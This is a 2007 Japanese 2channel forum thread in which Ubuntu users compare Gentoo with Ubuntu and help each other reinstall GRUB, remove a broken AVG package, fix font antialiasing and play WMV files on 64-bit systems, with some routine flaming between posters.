しっくりくるというか、なんだか馴染むものがある

Ubu使ってて、Gentooも使ったことある方いませんか？
CD起動では試したものの、
HDDへインストールするには
UbuのSynapticと比べてどの程度
動作が遅いか（？）なGUI版Portageが
ネックになってて躊躇しています

ただ動作的なキビキビさは「え、まじめに？」と
少々驚いてます
KDEならわかるんですが、Gnomeであれは、、、

569:login:Penguin
07/05/05 17:08:10 XVpJ+nAd
vmwareに入れたけど起動すらしなかったYO＞Gentoo

570:login:Penguin
07/05/05 17:12:36 2FBzOb+u
FestyにしたらOpenOfficeのメニューのフォントにアンチエイリアスが
かからなくなりました。どうすれば直るか分かる方いませんか？

571:login:Penguin
07/05/05 17:20:58 YknU5/Wu
>>569
(苦笑）

動作出来て使ったことのある方、
お願いします。

572:login:Penguin
07/05/05 17:35:24 wJRtjU6u
>vmwareに入れたけど起動すらしなかったYO＞Gentoo

linuxに入れるんなら、なんでvmwareなんか使うの？

chrootすれば、普通に使えるし。

それどころか、ubuntuの中からgentooでコンパイルしたアプリを動かせる。

573:login:Penguin
07/05/05 17:35:58 DnDj0JDd
synapticに登録されているパッケージ名を直接編集する方法ってあるの？

574:login:Penguin
07/05/05 17:44:46 svjfmS+A
なんでそんなことが必要なの?

575:login:Penguin
07/05/05 17:55:01 +Mgs3Ld2
使ったことないけど、Gentooってソースからビルドするマニアックなディストリでしょう。
動作が遅いとかそういう話じゃない気がするんですけど。

576:login:Penguin
07/05/05 17:57:17 DnDj0JDd
>>574
AVGをインストールしたらなんかおかしくなったので、アンインストールしようと思ったら
エラー・・・、再インストールもエラー
で、手動で削除しているわけだがsynapticからどうやって消すか分からない・・・

577:login:Penguin
07/05/05 18:04:04 wJRtjU6u
>>576
エラー吐いてるはずだから、それを見て対処する。

インストール時にあったファイルやフォルダを削除してたりすると、それだけでアンインストールできなくなる。

その場合は単純で、フォルダやファイルを作ってやればOK。（空でいい）

深刻なエラーの場合はやや難しげ。

というか、インストールしたはいいが、削除できなくなるパッケージって、結構多い。

気をつけるぽ。

578:login:Penguin
07/05/05 18:09:09 YknU5/Wu
>>575
名前で毛嫌い、見向きもしてなかったんだけど
しっかりとISOイメージをダウンロード出来る
ライブCDですよ
動作は遅いなんてもんじゃなく、逆に軽快
なもんでうぶんとぅユーザーからは
（自分もだけど）
どう評価があるか知りたかった訳

～の部分がダメという致命的なのがあれば
HDDへのインストール見合わせるし、
それほどでもなければ入れてみる予定

>>576
検索かけてみた？

579:login:Penguin
07/05/05 18:35:17 ihBMXr8n
wineでVisualStudio動作するようになればWindowsは
俺の中では不要になるな。

580:login:Penguin
07/05/05 18:35:46 LlWLc4nW
>>578
今まで鳥は、
RedHat→Fedora→Turbo→Debian→Ubuntu
とお手軽Linuxを使ってきたけど、
Gentooはまだだった。
(一度インストール本を買おうとしたこともあったんだけどお流れに）

んでさっきちらっとGentooの事を調べてみたら・・・
↓
URLﾘﾝｸ(www.itmedia.co.jp)
「ITmedia Gentooインストール体験記」

・・・ごめん、この鳥は凄いわ（汗

581:login:Penguin
07/05/05 18:38:49 DnDj0JDd
>>576
検索かけてできる限りのAVG関連ファイルを手動で消しまくってた・・・(Winと同じようなノリで)
で、synapticに登録されたパッケージ名(Winの場合レジストリ)を消そうとしたが挫折・・・

しかし、
>>577
>フォルダやファイルを作ってやればOK。（空でいい）
この一言で全てが解決した。ありがとうお（　＾ω＾）

最近Winから乗り換えたばっかりの初心者で分からないことだらけ
で、既にAVGの代わりにインストールしてしまったAntivirの消し方分からない＼(^o^)／
のでしばらくこっち使うか・・・

582:581
07/05/05 18:42:18 DnDj0JDd
誤：　>>576
正：　>>578

583:login:Penguin
07/05/05 19:23:37 PbdjISSB
>>580
この程度でネを上げるなんて軟弱だなあ

LFSユーザーが聞いたら笑われるぞ

584:login:Penguin
07/05/05 19:40:07 lWQ8GhdM
Gentoo完全に挫折した人間がUbuntuでうまくいって、
趣味はLinuxです♪というのはやっぱりだめですか？

585:login:Penguin
07/05/05 19:43:39 Oo8lK/bP
gentooそんなに難しくないと思うけどなぁ。
マニュアルの手順どうりにやればインストールできるし。
ただ、デスクトップ環境のmakeに1週間かける覚悟は必要。

586:login:Penguin
07/05/05 19:44:59 y0hR2Oqq
>>580
実際のところ、マニュアルが超丁寧だから面倒なだけで難しいことは少ない。
ただ、完全に使いこなそうと思うと泥沼。

587:516
07/05/05 19:54:23 b5L2hAC2
Totem進化したって聞いて期待してるw
だれか64ビット版でここのサイトの動画の音がきちんと出るか確認して。でれば64へ移行する。
URLﾘﾝｸ(www.microsoft.com)
ダウンしたexeファイルをアクセサリーメニューの書庫マネージャーで開いて解凍すると
wmvファイルになる。

588:login:Penguin
07/05/05 19:56:58 eSrbgaGU
>>585
自分が何やってるかわかってれば使い易いよな

589:login:Penguin
07/05/05 20:21:42 YknU5/Wu
>>579
ソフトの違いはあれど、そいう人って多いと思う
多少Winが必要だったけれど決別した　＞　自分

>>580
すごい体験記ですなぁ
全くコンパイルが必要でない導入方法だと
そうでもなさそうだけど、、、、、

>>581
状況理解出来ました
Ubuntuは特にグラカードでの不具合は多いかも
とにかく回避できてよかったですね

>>584
普通だと思います
逆にそこまで苦労するべきことでも
ないと自分は、、、

>>585
難しくはないとしても、そこまで手間はかけたく
ないのが正直なところ
ましてや楽に導入出来る環境がやっと
整ってきた今現在では尚さらです
OSを入れるのに一週間は考えられません
己の知識不足でヘマし続けでしたら問題なしw

590:login:Penguin
07/05/05 20:38:07 a67zvKmk
うぜ
初心者スレいけ

591:login:Penguin
07/05/05 21:15:44 w3OwUanh
2chでこういうのを見るのは久しぶりだなあ

592:login:Penguin
07/05/05 21:34:58 OJm2q1JQ
>>538
パスとか専門的な流れも多いので、そろそろインストしてみようか
という初心者には参考になります

593:login:Penguin
07/05/05 22:17:58 lWQ8GhdM

Ubuntuは基本的機能安定、ソフト更新機能は平均点以上が○。
Linux最新状況にいつでもキャッチアップできてる感がある。

好みが反映されたマニアックなディストロをつかうのもいいが、
Ubuntuを同時に飼いならしておいて、絶対に損はしない。

594:login:Penguin
07/05/05 22:47:46 gxXeu15w
URLﾘﾝｸ(translations.launchpad.net)
日本健闘してんね
ここで言ってもしゃあないけど翻訳した人乙
俺も参加してみるかなあ

595:login:Penguin
07/05/05 22:50:52 cR+BuSsW
実際さ、ひどいものはひどいね
長期休み早くおわらないかな。

596:login:Penguin
07/05/05 23:43:01 jiNGTQsr
ここんとこあんまりアップデートねえなあ
なんか悲しい

597:login:Penguin
07/05/05 23:49:28 PbdjISSB
Ｇｕｔｓｙﾏﾀﾞｧ-? （･∀･）っ/凵⌒☆ﾁﾝﾁﾝ

半年後にはXorg7.3、GNOME2.20だぜ。たまらんね。
そのころにはDellのユーザーからのフィードバックがたくさん溜まってるといいなあ。

598:login:Penguin
07/05/05 23:53:15 wARn9AOx
Windowsを再インストールして壊しちゃったgrubの再インストールのやり方、誰か教えてよ。

599:login:Penguin
07/05/06 00:09:51 4D0bjtRs
ここ読んで

URLﾘﾝｸ(park8.wakwak.com)

600:login:Penguin
07/05/06 00:39:25 JEDsvFNs
LiveCDから簡単にできんのか？

601:login:Penguin
07/05/06 00:41:01 JEDsvFNs
やったことはないが、こう書いてあるが・・・

> 1. salvage data w/install cd
> 2. reinstall ubuntu

no no no. it can be done with the live CD, I just always get the syntax
wrong so I better now help you.

You need to get to a terminal using the recovery option and then type
grub. Once in grub it needs to know the (new) root to use for it's
files, or the old root if the files are still there, with something
like:

root (hd0,1) <-- just an example

and then to setup to tell it where to install itself

setup (hd0,0) <-- just an example

anyway, something like that, try reading the manual.

602:login:Penguin
07/05/06 01:13:38 Ni2E56Kn
grub-install --no-floppy '(hd0)'
とりあえずこれでコンソールから再インストールできる。今やってみた
liveCDからもいけるんじゃないの

603:570
07/05/06 01:21:38 Tob0Bz1l
>>570ですが、synapticでipafontをインストールしてシステム→設定→フォント
でアプリのフォントをIPAPゴシックにしたら直りました。

でも本文のフォントが小さい(12p以下)とAAがかからないなあ

604:login:Penguin
07/05/06 01:23:34 WW3i2H9Z
このスレ初心者スレパート2って次から名前変えた方がいいよw

605:login:Penguin
07/05/06 01:29:50 JEDsvFNs
>>604
クソの薬にも立たない馬鹿はひっこんでろ！

606:login:Penguin
07/05/06 01:30:24 JEDsvFNs
日本語になってね～や

607:login:Penguin
07/05/06 01:33:03 sN0INEce
>>603
それ、font.confの設定じゃないのかなあ・・・OOoはよくわからんけど。

608:login:Penguin
07/05/06 01:37:07 WW3i2H9Z
>>605
お言葉遣いが低能を物語ってますわwww
初心者以前の問題を脳みそにお抱えのようねwwwww

609:login:Penguin
07/05/06 01:43:00 JEDsvFNs
>>608
糞なお前に言われたくね～や。

610:login:Penguin
07/05/06 01:52:59 HA2hNxr2
頭悪そう┐(゜～゜)┌

611:login:Penguin
07/05/06 02:00:29 sN0INEce
黄金週間

612:login:Penguin
07/05/06 10:15:21 hiclU0bT
>>598 のgrub-installについてお聞きした者です。たくさんのみなさん、親切にありがとう。これからやってみます。

613:login:Penguin
07/05/06 12:47:38 oOSW7QKQ
>>587だけど。。
誰からも返答がないって事はやはり64ビットはWMV9Proを再生できないって事ですね
やはりこのまま32ビット環境のままでいったほうが良いな。

614:login:Penguin
07/05/06 13:24:00 d5Hjfw6W
>>613
URLﾘﾝｸ(www.pc-souko.jp)
再生できてるが・・・・

615:login:Penguin
07/05/06 14:24:52 kxoDLu2e
>>613
俺のところでは無理だな。
映像はいけるが音声が無理。
けど32bitのmplayerとか入れれば再生できるよ。

616:login:Penguin
07/05/06 14:38:39 R1BvWWdV
>>613
64bitに移行しても、32bitのアプリをchrootで実行すればなんの問題もないだろ。

617:login:Penguin
07/05/06 17:47:06 oOSW7QKQ
>>614
音も出てますか？
問題は音なんです。。。対応してないの。。

618:login:Penguin
07/05/06 17:50:26 oOSW7QKQ
色々なご意見有り難うございます。
>>615のお話で32ビットmplayerが使えるというのはちょっと期待です。
気を見て移行もちょっと考えてみようかな。

619:login:Penguin
07/05/06 18:06:55 RlQ1OSO/
Gutsyなんだけど、今UDF-fsか何かが壊れてないかい？空のメディアが
マウントできん、とか出てCD-Rの書き込みが出来ない。
マウントできないだけなので、cdrecord とかでは普通に使えるんだが…
/etc/fstab に自分で追加した設定があったんで消してみたんだけど
改善せず。
色々調べているんだが、何かアドバイスあったら教えておいて下され。

620:login:Penguin
07/05/06 19:13:01 R1BvWWdV
>>619
>Gutsyなんだけど、今UDF-fsか何かが壊れてないかい？

誰なんだよおまい、ウインドーズへ池。VISTAのがきっと楽しめる。←アドバイス

621:login:Penguin
07/05/06 19:36:16 z4LzFCjk
>>619
どういう風に導入したのか
出来れば詳細を教えてください。
磯イメージとかあるんですか？

>>620
???

622:login:Penguin
07/05/06 19:52:00 R1BvWWdV
>>621
aptラインを書き換えればコマンド一発で誰でもアップグレードできるが、人柱でもうれしがりでもないから、みんなそんなことには興味を示さない。

623:login:Penguin
07/05/06 20:24:23 hgbTki1g
ノートで使ってるがアップグレードしたら起動しなくなった。
Edgyの時も失敗したな。

次ページ